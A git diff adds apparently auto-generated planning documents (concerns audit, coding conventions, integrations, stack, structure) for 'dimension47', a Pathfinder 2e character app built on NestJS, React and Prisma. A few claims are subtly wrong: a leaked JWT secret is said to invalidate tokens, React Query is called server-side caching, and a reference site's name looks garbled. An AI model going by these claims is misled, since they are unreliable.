### Character pathbuilderData Stored as JSON Blob
|
||||
|
||||
**Issue:** Original Pathbuilder export is stored unstructured as JSON
|
||||
|
||||
**Files:** `server/prisma/schema.prisma` (line 198: `pathbuilderData Json?`)
|
||||
|
||||
**Potential issues:**
|
||||
- Cannot query Pathbuilder fields directly
|
||||
- Data validation relies on application code, not schema
|
||||
- Difficult to report or audit what data came from imports
|
||||
- No versioning if Pathbuilder export format changes
|
||||
|
||||
**Impact:** Low - used primarily for reference, but limits data flexibility
|
||||
|
||||
**Improvement path:**
|
||||
1. Parse and normalize Pathbuilder data into proper database fields
|
||||
2. Consider storing hash of original for audit trail
|
||||
3. Add migration to extract key fields from JSON for querying
|
||||
|
||||
---
|
||||
|
||||
## Environmental Configuration
|
||||
|
||||
### JWT_SECRET Management
|
||||
|
||||
**Issue:** JWT_SECRET passed via environment variable with no rotation mechanism
|
||||
|
||||
**Files:**
|
||||
- `server/src/modules/auth/strategies/jwt.strategy.ts`
|
||||
- `server/src/modules/characters/characters.gateway.ts`
|
||||
|
||||
**Concern:**
|
||||
- If secret is leaked, all existing tokens become invalid
|
||||
- No way to rotate secret without invalidating all sessions
|
||||
- No secret versioning
|
||||
|
||||
**Recommendation:**
|
||||
1. Implement secret versioning in token header
|
||||
2. Support multiple valid secrets during rotation period
|
||||
3. Add secret rotation schedule (e.g., quarterly)
|
||||
4. Store secrets in vaulting system, not .env
|
||||
|
||||
---
|
||||
|
||||
### ENV File Example Status
|
||||
|
||||
**Files:**
|
||||
- `server/.env.example`
|
||||
- `client/.env.example`
|
||||
|
||||
**Status:** Confirmed present in CLAUDE.md - properly structured
|
||||
|
||||
**Verification:** Users can reference templates when setting up environment
|
||||
|
||||
---
|
||||
|
||||
## API Documentation
|
||||
|
||||
### Swagger API Docs Enabled but may Expose Sensitive Operations
|
||||
|
||||
**Files:** `server/src/main.ts` (lines 49-64)
|
||||
|
||||
**Current state:**
|
||||
- Swagger UI enabled at `/api/docs`
|
||||
- Available to all users with API access
|
||||
- Could expose internal API structure to unauthorized users
|
||||
|
||||
**Recommendation:**
|
||||
- In production: require ADMIN role to view Swagger
|
||||
- In development: keep open for debugging
|
||||
- Add basic authentication to `/api/docs` endpoint
|
||||
|
||||
---
|
||||
|
||||
*Concerns audit: 2026-04-27*
|
||||
221
.planning/codebase/CONVENTIONS.md
Normal file
221
.planning/codebase/CONVENTIONS.md
Normal file
@@ -0,0 +1,221 @@
|
||||
# Coding Conventions
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## Naming Patterns
|
||||
|
||||
**Files:**
|
||||
- Components: kebab-case (e.g., `character-sheet-page.tsx`, `add-condition-modal.tsx`, `hp-control.tsx`)
|
||||
- Utilities/Services: kebab-case (e.g., `use-character-socket.ts`, `export-character-html.ts`)
|
||||
- Directories: kebab-case (e.g., `features/`, `shared/`, `components/`)
|
||||
|
||||
**Functions:**
|
||||
- camelCase for all function names
|
||||
- Hooks prefixed with `use` (e.g., `useAuthStore`, `useCharacterSocket`, `useMemo`, `useState`)
|
||||
- Event handlers prefixed with `handle` (e.g., `handleApply`, `handleConnection`, `handleDisconnect`)
|
||||
- Getter/setter methods follow camelCase (e.g., `getToken()`, `setToken()`)
|
||||
|
||||
**Variables:**
|
||||
- camelCase for all variable names
|
||||
- Constants in UPPER_SNAKE_CASE (e.g., `PROFICIENCY_BONUS`, `SKILL_DATA`, `TABS`)
|
||||
- Type unions with capitalized names (e.g., `CharacterType`, `AbilityType`, `TabType`)
|
||||
- Boolean prefixes: `is`, `has`, `should`, `can` (e.g., `isLoading`, `isOwner`, `hasAccess`)
|
||||
|
||||
**Types:**
|
||||
- PascalCase for all types, interfaces, and enums
|
||||
- Domain types in shared: `Character`, `Campaign`, `User`, `CharacterItem`, `CharacterFeat`
|
||||
- Props interfaces suffixed with `Props` (e.g., `HpControlProps`, `AddConditionModalProps`)
|
||||
- DTO interfaces suffixed with `Dto` (e.g., `CreateCharacterDto`, `LoginDto`, `RegisterDto`)
|
||||
- State types in Zustand: domain-specific (e.g., `AuthState`)
|
||||
|
||||
## Code Style
|
||||
|
||||
**Formatting:**
|
||||
- Prettier configured in `server/.prettierrc` with:
|
||||
- Single quotes (`singleQuote: true`)
|
||||
- Trailing commas on all (`trailingComma: "all"`)
|
||||
- Line length: implicit (Prettier default ~80 chars but allows overflow)
|
||||
- Indentation: 2 spaces
|
||||
|
||||
**Linting:**
|
||||
- Client: ESLint 9 with flat config (`eslint.config.js`)
|
||||
- Uses TypeScript ESLint recommended rules
|
||||
- React Hooks plugin with recommended rules
|
||||
- React Refresh plugin for Vite
|
||||
- No custom strict rules beyond defaults
|
||||
- Server: ESLint 9 with flat config (`eslint.config.mjs`)
|
||||
- Uses TypeScript ESLint recommended rules with type checking (`recommendedTypeChecked`)
|
||||
- Prettier plugin for code formatting integration
|
||||
- **Important:** `@typescript-eslint/no-explicit-any` is **turned OFF** (line 29)
|
||||
- Warnings (not errors) for: `no-floating-promises`, `no-unsafe-argument`
|
||||
- Custom Prettier rule with `endOfLine: "auto"` for Windows compatibility
|
||||
|
||||
**TypeScript:**
|
||||
- **Strict Mode Enforced** on client (`client/tsconfig.app.json`):
|
||||
- `"strict": true` ✓
|
||||
- `"noUnusedLocals": true` ✓
|
||||
- `"noUnusedParameters": true` ✓
|
||||
- `"noFallthroughCasesInSwitch": true` ✓
|
||||
- `"noUncheckedSideEffectImports": true` ✓
|
||||
- Server TypeScript (`server/tsconfig.json`):
|
||||
- `"strictNullChecks": true` ✓
|
||||
- `"forceConsistentCasingInFileNames": true` ✓
|
||||
- `"noImplicitAny": false` (allows any, soft enforcement)
|
||||
- `"skipLibCheck": true` (skips lib type checking)
|
||||
|
||||
## Import Organization
|
||||
|
||||
**Order:** (observed pattern)
|
||||
1. React/Framework imports (`react`, `react-router-dom`)
|
||||
2. Third-party utilities (`zustand`, `axios`, `socket.io-client`)
|
||||
3. NestJS/Framework imports (`@nestjs/*`)
|
||||
4. Type-only imports (`type { ... }`)
|
||||
5. Relative imports from shared (`@/shared/...`, `@/features/...`)
|
||||
6. Decorators and metadata (after other imports)
|
||||
|
||||
**Path Aliases:**
|
||||
- Client: `@/*` → `./src/*` (defined in `vite.config.ts` and `tsconfig.app.json`)
|
||||
- Server: No path alias configured; uses relative paths
|
||||
- Always use `@/` prefix on client to avoid relative path hell
|
||||
|
||||
**Module exports:**
|
||||
- Barrel files used: `features/*/index.ts`, `shared/components/ui/index.ts`
|
||||
- Default exports on pages: `export default App`
|
||||
- Named exports for utilities, types, hooks: `export { HpControl }`, `export const api = new ApiClient()`
|
||||
|
||||
## Error Handling
|
||||
|
||||
**Philosophy (per CLAUDE.md):** No shortcuts. Proper error handling, not try/catch with console.log.
|
||||
|
||||
**Server-side (NestJS):**
|
||||
- Use NestJS exception classes: `NotFoundException`, `ForbiddenException`, `UnauthorizedException`, `ConflictException`
|
||||
- Access checks before operations (e.g., `checkCampaignAccess()`, `checkCharacterAccess()` in `characters.service.ts`)
|
||||
- Return meaningful error messages: "Campaign not found", "No access to this campaign"
|
||||
- Prisma operations wrapped in try-catch only when necessary for data validation
|
||||
- JWT verification throws exceptions through guard: `JwtAuthGuard` handles 401s
|
||||
|
||||
**Client-side (React):**
|
||||
- Axios interceptors for request/response handling (in `api.ts`)
|
||||
- 401 errors trigger logout and redirect to `/login` (except auth endpoints)
|
||||
- Error state in components: `isLoading`, `error`, `pendingChange` states
|
||||
- Modal operations: try/catch with `setIsLoading(false)` in finally block
|
||||
- Error logging: `console.error()` for debugging, no silent failures
|
||||
- User feedback: Navigation on error (`navigate()`) or via error state
|
||||
|
||||
**Socket.io (WebSocket Gateway):**
|
||||
- Token validation on connection (throws `client.disconnect()`)
|
||||
- Logger for all connection/disconnection events
|
||||
- Errors logged but don't crash server
|
||||
|
||||
## Logging
|
||||
|
||||
**Framework:**
|
||||
- Server: NestJS `Logger` (in modules/gateways)
|
||||
- E.g., `private logger = new Logger('CharactersGateway')`
|
||||
- Used for connection events, warnings, errors
|
||||
- Client: `console.error()` for error debugging
|
||||
|
||||
**Patterns:**
|
||||
- Server logs connection events with user context
|
||||
- Client silently catches most errors, logs critical ones
|
||||
- No debug logging infrastructure in place
|
||||
|
||||
## Comments
|
||||
|
||||
**When to Comment:**
|
||||
- Constants with unclear meaning (e.g., `PROFICIENCY_BONUS` values, skill-to-ability mappings)
|
||||
- Complex calculations (e.g., HP percentage calculations)
|
||||
- Business logic that isn't immediately obvious (e.g., Pathfinder 2e rules)
|
||||
- NOT used for obvious code ("increment counter")
|
||||
|
||||
**JSDoc/TSDoc:**
|
||||
- Minimal usage observed
|
||||
- API methods documented with Swagger decorators on server: `@ApiOperation()`, `@ApiResponse()`
|
||||
- No runtime JSDoc comments in source
|
||||
|
||||
## Function Design
|
||||
|
||||
**Size:**
|
||||
- Modal components: 500-1700 lines (large, but feature-complete)
|
||||
- Service methods: 10-50 lines (concise, focused)
|
||||
- Utility functions: 5-20 lines
|
||||
|
||||
**Parameters:**
|
||||
- Interface-based: Pass objects instead of multiple params
|
||||
- E.g., `onAdd(condition: { name: string; nameGerman: string; value?: number })`
|
||||
- DTO pattern on server: `CreateCharacterDto`, `LoginDto`
|
||||
- Optional params with defaults: `remember: boolean = false`
|
||||
|
||||
**Return Values:**
|
||||
- Async functions return typed Promises: `async getCharacter(): Promise<Character>`
|
||||
- Component callbacks: callbacks are async promises (`onHpChange: (newHp: number) => Promise<void>`)
|
||||
- Services return full domain objects with relations included
|
||||
|
||||
## Module Design
|
||||
|
||||
**Exports:**
|
||||
- Components export as named: `export function HpControl() { ... }`
|
||||
- Utilities export as named: `export const api = new ApiClient()`
|
||||
- One export per file (generally)
|
||||
|
||||
**Barrel Files:**
|
||||
- Used in features: `features/auth/index.ts` re-exports `useAuthStore`, `LoginPage`, `RegisterPage`
|
||||
- Used for UI components: `shared/components/ui/index.ts` re-exports all buttons, cards, inputs
|
||||
- Reduces import complexity
|
||||
|
||||
**Dependency Injection (Server):**
|
||||
- NestJS @Injectable() decorator for services
|
||||
- Constructor injection: `constructor(private prisma: PrismaService)`
|
||||
- Circular dependencies resolved with @Inject(forwardRef()): seen in `CharactersService`
|
||||
|
||||
## State Management
|
||||
|
||||
**Client (Zustand):**
|
||||
- Single store pattern: `create<AuthState>()`
|
||||
- Persisted state with middleware: `persist()`
|
||||
- Partialize: stores only non-sensitive fields (`user`, `isAuthenticated`)
|
||||
- Actions as methods in store: `login()`, `logout()`, `checkAuth()`
|
||||
- Error state in store: `error: string | null`
|
||||
|
||||
**Server (NestJS):**
|
||||
- No client state management needed
|
||||
- WebSocket gateway maintains connection map: `connectedClients = new Map()`
|
||||
|
||||
## Design Tokens (UI)
|
||||
|
||||
**Colors:**
|
||||
- Primary: Magenta `#c26dbc` (in Tailwind as `primary-500`, `primary-600`, etc.)
|
||||
- Secondary: Dark grays for dark mode (`secondary-800`, `secondary-700`)
|
||||
- Text: Primary (light), secondary (dimmer), tertiary (dimmest)
|
||||
- Background: Primary, secondary, tertiary layers
|
||||
- Error: Red (`error-500`, `error-600`)
|
||||
- Success: Green (`green-500`)
|
||||
- Warning: Yellow (`yellow-500`)
|
||||
|
||||
**Typography:**
|
||||
- Font sizes: sm, base, lg (Tailwind defaults)
|
||||
- Weights: normal, medium (600), semibold
|
||||
- All UI text in German except code/technical terms
|
||||
|
||||
**Icons:**
|
||||
- Lucide React exclusively (e.g., `Heart`, `Swords`, `BookOpen`, `Package`)
|
||||
- No emoji anywhere
|
||||
- Icon sizes: `h-4 w-4` (standard), `h-6 w-6` (large)
|
||||
|
||||
**Touch Targets:**
|
||||
- Minimum 44px (mobile-first, accessible)
|
||||
- Buttons: `h-11` (44px), `h-9` (36px for small), `h-12` (48px for large)
|
||||
- Icon buttons: `h-11 w-11` (44x44px)
|
||||
|
||||
**Spacing:**
|
||||
- Tailwind v4 defaults: `p-4`, `gap-2`, `rounded-lg`, `rounded-2xl`
|
||||
- Modals: `rounded-t-2xl sm:rounded-2xl` (bottom sheet on mobile, centered on desktop)
|
||||
|
||||
**Responsive:**
|
||||
- Mobile-first breakpoints: `sm:` prefix for tablet+ (e.g., `sm:items-center`, `sm:rounded-2xl`)
|
||||
- Flexbox for layouts: `flex`, `flex-col`, `items-center`, `justify-between`
|
||||
- Grid rarely used
|
||||
|
||||
---
|
||||
|
||||
*Convention analysis: 2026-04-27*
|
||||
226
.planning/codebase/INTEGRATIONS.md
Normal file
226
.planning/codebase/INTEGRATIONS.md
Normal file
@@ -0,0 +1,226 @@
|
||||
# External Integrations
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## APIs & External Services
|
||||
|
||||
**Anthropic Claude API:**
|
||||
- Service: Claude API for real-time translation of game content to German
|
||||
- What it's used for:
|
||||
- On-demand translation of feats, equipment, spells, items, conditions, and other PF2e content
|
||||
- Translates item effect text for alchemical items
|
||||
- Batches translations in groups for efficiency
|
||||
- Results cached in `Translation` table with quality ratings (HIGH/MEDIUM/LOW)
|
||||
- Fallback: System returns untranslated English names if API key not configured
|
||||
- Model: `claude-haiku-4-5-20251001` (lightweight model for cost-effective translations)
|
||||
|
||||
- SDK/Client: `@anthropic-ai/sdk` 0.71.2
|
||||
- Auth: Environment variable `ANTHROPIC_API_KEY`
|
||||
- Implementation: `server/src/modules/claude/claude.service.ts`
|
||||
- Module: `server/src/modules/claude/claude.module.ts`
|
||||
- Usage: Called by `server/src/modules/translations/translations.service.ts`
|
||||
|
||||
## Data Storage
|
||||
|
||||
**Databases:**
|
||||
- PostgreSQL 16 (via Docker Compose or production instance)
|
||||
- Connection: Environment variable `DATABASE_URL`
|
||||
- Client: Prisma ORM 7.2.0 with PostgreSQL adapter
|
||||
- Schema: `server/prisma/schema.prisma` (25 models covering users, campaigns, characters, equipment, alchemy, battle, documents)
|
||||
- Migrations: Version-controlled in `server/prisma/migrations/`
|
||||
- Seeding: `server/prisma/seed.ts` (base data), `server/prisma/seed-equipment.ts` (5,482 PF2e items), `server/prisma/seed-feats.ts`
|
||||
|
||||
**File Storage:**
|
||||
- Local filesystem only (currently)
|
||||
- Directory: Configured via `UPLOAD_DIR` env var (default `./uploads`)
|
||||
- Served via NestJS `ServeStaticModule` at `/uploads` endpoint
|
||||
- Max file size: `MAX_FILE_SIZE` env var (default 10MB)
|
||||
- Types supported: HTML, PDF (from schema `Document` model)
|
||||
|
||||
**Caching:**
|
||||
- In-memory client state via Zustand (auth store): `client/src/features/auth/hooks/use-auth-store.ts`
|
||||
- Server-side caching via TanStack React Query: Automatic cache of API responses with configurable stale times
|
||||
- Translation cache in `Translation` table with `@@unique([type, englishName])` constraint
|
||||
- No Redis or external cache layer currently
|
||||
|
||||
## Authentication & Identity
|
||||
|
||||
**Auth Provider:**
|
||||
- Custom JWT-based authentication (no external OAuth provider)
|
||||
- Implementation: `server/src/modules/auth/auth.service.ts`
|
||||
- Strategy: Passport.js with JWT strategy (`server/src/modules/auth/strategies/jwt.strategy.ts`)
|
||||
|
||||
**Authentication Flow:**
|
||||
1. Users register with username, email, password via `POST /api/auth/register`
|
||||
2. Passwords hashed with bcrypt (salt rounds: 10, configurable)
|
||||
3. Login returns JWT token valid for `JWT_EXPIRES_IN` (default "7d")
|
||||
4. Client stores token in localStorage (persistent) or sessionStorage (session-only)
|
||||
- Determined by "Remember me" checkbox during login
|
||||
- Implementation: `client/src/shared/lib/api.ts`
|
||||
5. Token attached to all subsequent requests via Authorization header
|
||||
6. Token verified on WebSocket connection via `characters.gateway.ts` and `battle.gateway.ts`
|
||||
|
||||
**User Roles:**
|
||||
- ADMIN - Full system access
|
||||
- GM - Game Master, can manage campaigns, create NPCs, control battles
|
||||
- PLAYER - Standard user, can own characters
|
||||
|
||||
**Guards:**
|
||||
- Global JWT auth guard: `server/src/modules/auth/guards/jwt-auth.guard.ts`
|
||||
- Role-based guard: `server/src/modules/auth/guards/roles.guard.ts`
|
||||
|
||||
## Monitoring & Observability
|
||||
|
||||
**Error Tracking:**
|
||||
- None (no Sentry, Rollbar, or external service configured)
|
||||
- Server logs to console via NestJS Logger
|
||||
- Client console errors only
|
||||
|
||||
**Logs:**
|
||||
- Server: NestJS Logger (console output in development, can be piped to file in production)
|
||||
- Client: Browser console only
|
||||
- No centralized logging infrastructure
|
||||
|
||||
## CI/CD & Deployment
|
||||
|
||||
**Hosting:**
|
||||
- Not configured (manual deployment expected)
|
||||
- Docker Compose available for local development
|
||||
|
||||
**CI Pipeline:**
|
||||
- None detected
|
||||
- ESLint, Prettier, and tests are run locally before commit
|
||||
|
||||
## WebSockets & Real-Time Communication
|
||||
|
||||
**Transport:**
|
||||
- Socket.io 4.8.3
|
||||
- Client library: `socket.io-client` 4.8.3
|
||||
- Server: NestJS WebSocket gateways with Socket.io adapter
|
||||
|
||||
**Character Updates (Real-Time Sync):**
|
||||
- Gateway: `server/src/modules/characters/characters.gateway.ts`
|
||||
- Namespace: `/characters`
|
||||
- CORS configured from environment variable `CORS_ORIGINS`
|
||||
- Authentication: JWT token verified on connection
|
||||
- Update types:
|
||||
- `hp` - Health points (current, temp, max)
|
||||
- `conditions` - Add/remove/update character conditions
|
||||
- `item` - Add/remove inventory items
|
||||
- `inventory` - Bulk inventory updates
|
||||
- `money` - Update credits/currency
|
||||
- `level` - Character level changes
|
||||
- `equipment_status` - Mark items as equipped/unequipped/invested
|
||||
- `rest` - Rest cycle triggers (HP restore, condition cleanup)
|
||||
- `alchemy_vials` - Update alchemist versatile vials
|
||||
- `alchemy_formulas` - Add/remove formulae
|
||||
- `alchemy_prepared` - Update prepared alchemical items
|
||||
- `alchemy_state` - Update research field and advanced alchemy state
|
||||
- `dying` - Dying and recovery state
|
||||
|
||||
**Battle Updates (Real-Time Sync):**
|
||||
- Gateway: `server/src/modules/battle/battle.gateway.ts`
|
||||
- Update types:
|
||||
- `token_added` - New combatant token on map
|
||||
- `token_removed` - Token removed
|
||||
- `token_moved` - Position changed
|
||||
- `token_updated` - Stat/property updates
|
||||
- `token_hp_changed` - HP/damage tracking
|
||||
- `initiative_set` - Initiative order
|
||||
- `round_advanced` - Round counter
|
||||
- `session_updated` - Session state
|
||||
- `session_deleted` - Battle session ended
|
||||
|
||||
**Client Hooks:**
|
||||
- `client/src/features/characters/hooks/use-character-socket.ts` - Character update subscriptions
|
||||
- `client/src/features/battle/hooks/use-battle-socket.ts` - Battle update subscriptions
|
||||
- Singleton socket pattern to prevent multiple connections
|
||||
- Reference counting for cleanup on unmount
|
||||
|
||||
## Pathbuilder Integration
|
||||
|
||||
**Import Format:**
|
||||
- Reads JSON export from Pathbuilder 2e character builder
|
||||
- Stored as raw JSON blob in `Character.pathbuilderData` field
|
||||
- Used to populate character stats, feats, skills, spells on initial import
|
||||
|
||||
**Data Mapping:**
|
||||
- Character abilities (STR, DEX, CON, INT, WIS, CHA)
|
||||
- Skills with proficiency levels
|
||||
- Feats with sources (Class, Ancestry, General, Skill, Bonus, Archetype)
|
||||
- Spells with traditions and prepared status
|
||||
- Equipment and inventory
|
||||
- Alchemy (if applicable)
|
||||
|
||||
**Endpoint:**
|
||||
- `POST /api/characters/import-pathbuilder` - Import character from Pathbuilder JSON
|
||||
|
||||
## Equipment Database
|
||||
|
||||
**Data Source:**
|
||||
- 5,482 Pathfinder 2e equipment items imported from JSON
|
||||
- Seed script: `server/prisma/seed-equipment.ts`
|
||||
- Source: JSON data files in `server/prisma/data/`
|
||||
|
||||
**Categories:**
|
||||
- Weapons (with damage, range, properties)
|
||||
- Armor (with AC, penalties, strength requirements)
|
||||
- Shields (with HP, hardness, broken threshold)
|
||||
- Consumables (potions, scrolls, talismans, etc.)
|
||||
- General equipment
|
||||
|
||||
**API Endpoints:**
|
||||
- `GET /api/equipment` - Search/list equipment
|
||||
- `GET /api/equipment/categories` - List available categories
|
||||
- `GET /api/equipment/weapons` - Weapon-specific query
|
||||
- `GET /api/equipment/armor` - Armor-specific query
|
||||
|
||||
## External References
|
||||
|
||||
**Archon Omni Documentation (AONPRD):**
|
||||
- Links stored in `Feat.url`, `Equipment.url`, `Spell.url`, `Trait.url`
|
||||
- Frontend links to official Pathfinder 2e documentation
|
||||
- No direct API integration, read-only external links
|
||||
|
||||
## Environment Configuration
|
||||
|
||||
**Required Environment Variables:**
|
||||
|
||||
Server (`server/.env`):
|
||||
- `DATABASE_URL` - PostgreSQL connection string (e.g., `postgresql://user:pass@localhost:5432/dimension47?schema=public`)
|
||||
- `JWT_SECRET` - Secret key for signing JWT tokens (minimum 32 characters recommended)
|
||||
- `JWT_EXPIRES_IN` - Token expiration (default "7d")
|
||||
- `PORT` - Server listen port (default 5000)
|
||||
- `NODE_ENV` - Environment mode (development/production)
|
||||
- `CORS_ORIGINS` - Comma-separated allowed origins (e.g., `http://localhost:5173,http://localhost:3000`)
|
||||
- `ANTHROPIC_API_KEY` - Claude API key (optional, disables translations if missing)
|
||||
- `UPLOAD_DIR` - File upload directory (default `./uploads`)
|
||||
- `MAX_FILE_SIZE` - Max upload size in bytes (default 10485760 = 10MB)
|
||||
|
||||
Client (`client/.env`):
|
||||
- `VITE_API_URL` - Backend API URL (e.g., `http://localhost:5000/api`)
|
||||
|
||||
**Secrets Location:**
|
||||
- `.env` files (NOT committed to git, see `.gitignore`)
|
||||
- Template files: `server/.env.example` and `client/.env.example`
|
||||
- Developers copy examples to `.env` and fill in secrets
|
||||
|
||||
## Webhooks & Callbacks
|
||||
|
||||
**Incoming:**
|
||||
- None configured
|
||||
|
||||
**Outgoing:**
|
||||
- None configured
|
||||
|
||||
## Cross-Domain Communication
|
||||
|
||||
**CORS Policy:**
|
||||
- Configured via `CORS_ORIGINS` environment variable
|
||||
- Applied to HTTP endpoints and WebSocket connections
|
||||
- Development allows all `localhost:*` origins
|
||||
- Production requires explicit whitelist
|
||||
|
||||
---
|
||||
|
||||
*Integration audit: 2026-04-27*
|
||||
164
.planning/codebase/STACK.md
Normal file
164
.planning/codebase/STACK.md
Normal file
@@ -0,0 +1,164 @@
|
||||
# Technology Stack
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## Languages
|
||||
|
||||
**Primary:**
|
||||
- TypeScript 5.9.3 (server), 5.7.3 (client) - Strict mode enabled, full type safety across codebase
|
||||
|
||||
**Secondary:**
|
||||
- JavaScript (build outputs, scripts)
|
||||
- HTML/CSS (frontend templates)
|
||||
|
||||
## Runtime
|
||||
|
||||
**Environment:**
|
||||
- Node.js (version not pinned, assumed LTS) - Used for both server and client dev/build
|
||||
- ES2023 target (server), ES2022 target (client)
|
||||
|
||||
**Package Manager:**
|
||||
- npm - Lockfiles present for both client and server
|
||||
|
||||
## Frameworks
|
||||
|
||||
**Core Frontend:**
|
||||
- React 19.2.0 - UI framework
|
||||
- React Router DOM 7.12.0 - Client-side routing
|
||||
- Vite 7.2.4 - Build tool and dev server
|
||||
|
||||
**Core Backend:**
|
||||
- NestJS 11.0.1 - Web framework with TypeScript-first design
|
||||
- Express (via `@nestjs/platform-express`) - Underlying HTTP server
|
||||
|
||||
**Frontend Styling:**
|
||||
- Tailwind CSS 4.1.18 - Utility-first CSS framework
|
||||
- `@tailwindcss/vite` plugin for Vite integration
|
||||
|
||||
**Testing & Development:**
|
||||
- Jest 30.0.0 - Test runner (server-side only, configured in package.json)
|
||||
- ts-jest - TypeScript support for Jest
|
||||
- Supertest 7.0.0 - HTTP assertion library (server integration tests)
|
||||
- @vitejs/plugin-react - React fast refresh for Vite
|
||||
|
||||
## Key Dependencies
|
||||
|
||||
**Critical Server:**
|
||||
- `@prisma/client` 7.2.0 - ORM and database abstraction layer
|
||||
- `prisma` 7.2.0 - CLI and schema management tool
|
||||
- `@anthropic-ai/sdk` 0.71.2 - Claude API for on-demand German translations
|
||||
- `socket.io` 4.8.3 - WebSocket library for real-time communication
|
||||
- `@nestjs/websockets` 11.1.12 - NestJS WebSocket integration
|
||||
- `@nestjs/platform-socket.io` 11.1.12 - Socket.io adapter for NestJS
|
||||
- `@nestjs/jwt` 11.0.2 - JWT authentication provider
|
||||
- `@nestjs/passport` 11.0.5 - Passport.js integration for authentication
|
||||
- `passport-jwt` 4.0.1 - JWT strategy for Passport
|
||||
- `bcrypt` 6.0.0 - Password hashing
|
||||
- `class-validator` 0.14.3 - Request DTO validation
|
||||
- `class-transformer` 0.5.1 - DTO transformation
|
||||
- `@nestjs/swagger` 11.2.5 - OpenAPI/Swagger documentation
|
||||
- `@nestjs/config` 4.0.2 - Environment configuration management
|
||||
- `dotenv` 17.2.3 - .env file loading
|
||||
|
||||
**Critical Client:**
|
||||
- `axios` 1.13.2 - HTTP client library for API requests
|
||||
- `socket.io-client` 4.8.3 - WebSocket client for real-time updates
|
||||
- `zustand` 5.0.10 - Client state management (auth store)
|
||||
- `@tanstack/react-query` 5.90.19 - Server state and data fetching (caching, synchronization)
|
||||
- `react-router-dom` 7.12.0 - Client-side routing
|
||||
- `framer-motion` 12.26.2 - Animation library
|
||||
- `lucide-react` 0.562.0 - Icon library (SVG icons)
|
||||
- `clsx` 2.1.1 - Conditional CSS class utilities
|
||||
- `tailwind-merge` 3.4.0 - Tailwind class merging utility
|
||||
|
||||
**Development (Backend):**
|
||||
- `@nestjs/cli` 11.0.0 - NestJS code generation and project scaffolding
|
||||
- `@nestjs/schematics` 11.0.0 - Code generators for NestJS
|
||||
- `prettier` 3.4.2 - Code formatter
|
||||
- `eslint` 9.18.0 - Linting
|
||||
- `typescript-eslint` 8.20.0 - TypeScript ESLint support
|
||||
- `tsx` 4.21.0 - TypeScript execution (used for seed scripts)
|
||||
- `tsconfig-paths` 4.2.0 - TypeScript path alias resolution
|
||||
- `ts-node` 10.9.2 - TypeScript REPL and script runner
|
||||
- `ts-loader` 9.5.2 - TypeScript webpack loader
|
||||
|
||||
**Development (Frontend):**
|
||||
- `eslint` 9.39.1 - Linting
|
||||
- `typescript-eslint` 8.46.4 - TypeScript ESLint support
|
||||
- `eslint-plugin-react-hooks` 7.0.1 - React Hooks linting rules
|
||||
- `eslint-plugin-react-refresh` 0.4.24 - Vite React refresh linting
|
||||
|
||||
## Configuration
|
||||
|
||||
**Environment:**
|
||||
- Server loads from `.env` file (see `.env.example`):
|
||||
- `DATABASE_URL` - PostgreSQL connection string
|
||||
- `JWT_SECRET` - Secret key for signing tokens
|
||||
- `JWT_EXPIRES_IN` - Token expiration time (default "7d")
|
||||
- `PORT` - Server port (default 5000)
|
||||
- `NODE_ENV` - Environment (development/production)
|
||||
- `CORS_ORIGINS` - Comma-separated list of allowed origins
|
||||
- `ANTHROPIC_API_KEY` - Claude API key for translations (optional)
|
||||
- `UPLOAD_DIR` - Directory for file uploads
|
||||
- `MAX_FILE_SIZE` - Maximum upload file size
|
||||
|
||||
- Client loads from `.env` or `.env.local`:
|
||||
- `VITE_API_URL` - Backend API base URL (e.g., `http://localhost:5000/api`)
|
||||
- WebSocket URL derived automatically by removing `/api` suffix
|
||||
|
||||
**TypeScript:**
|
||||
- Server: `server/tsconfig.json` with target ES2023, decorators enabled
|
||||
- `strictNullChecks: true`
|
||||
- `forceConsistentCasingInFileNames: true`
|
||||
- `noImplicitAny: false` (allows implicit any in some cases)
|
||||
- Path aliases via `baseUrl: ./`
|
||||
|
||||
- Client: `client/tsconfig.app.json` with target ES2022, strict mode
|
||||
- `strict: true` - All strict options enabled
|
||||
- `noUnusedLocals: true`, `noUnusedParameters: true`
|
||||
- `jsx: react-jsx` - JSX without React import required
|
||||
- Path alias `@/*` → `./src/*`
|
||||
|
||||
**Build:**
|
||||
- Client Vite config: `client/vite.config.ts`
|
||||
- Dev server port 5173
|
||||
- API proxy `/api` → `http://localhost:5000`
|
||||
- React plugin with React 19 support
|
||||
- Tailwind CSS Vite plugin
|
||||
- Type checking via `tsc -b` before build
|
||||
|
||||
- Server NestJS config: `server/nest-cli.json` (if exists)
|
||||
- Build output to `dist/`
|
||||
|
||||
## Platform Requirements
|
||||
|
||||
**Development:**
|
||||
- Node.js LTS (tested with v22)
|
||||
- npm (lockfiles version management)
|
||||
- PostgreSQL 16+ (via Docker Compose)
|
||||
- Docker & Docker Compose (for database)
|
||||
- Git
|
||||
|
||||
**Production:**
|
||||
- Node.js LTS
|
||||
- PostgreSQL 16+ (managed service or self-hosted)
|
||||
- Anthropic API key for translations (optional but recommended)
|
||||
- File storage: Local filesystem or cloud storage (currently local via `./uploads`)
|
||||
|
||||
## Database
|
||||
|
||||
**PostgreSQL 16 Alpine** (via Docker Compose):
|
||||
- Port 5432 (internal), 5433 (exposed for dev)
|
||||
- Database name: `dimension47`
|
||||
- Default credentials in docker-compose (dev only)
|
||||
- pgAdmin 4 included for database management (port 5050)
|
||||
|
||||
**Prisma Configuration:**
|
||||
- Schema: `server/prisma/schema.prisma`
|
||||
- Generator: Prisma Client with CommonJS module format
|
||||
- Adapter: `@prisma/adapter-pg` for optimized PostgreSQL queries
|
||||
- Output: `src/generated/prisma/`
|
||||
|
||||
---
|
||||
|
||||
*Stack analysis: 2026-04-27*
|
||||
458
.planning/codebase/STRUCTURE.md
Normal file
458
.planning/codebase/STRUCTURE.md
Normal file
@@ -0,0 +1,458 @@
|
||||
# Codebase Structure
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## Directory Layout
|
||||
|
||||
```
|
||||
dimension47/
|
||||
├── client/ # React 19 + Vite frontend
|
||||
│ ├── src/
|
||||
│ │ ├── main.tsx # React root + DOM render
|
||||
│ │ ├── App.tsx # Router setup (BrowserRouter, Routes)
|
||||
│ │ ├── index.css # Global styles (Tailwind v4)
|
||||
│ │ ├── app/ # App configuration & routing
|
||||
│ │ ├── features/ # Feature modules (auth, characters, campaigns, etc.)
|
||||
│ │ │ ├── auth/ # Authentication (login, register, useAuthStore)
|
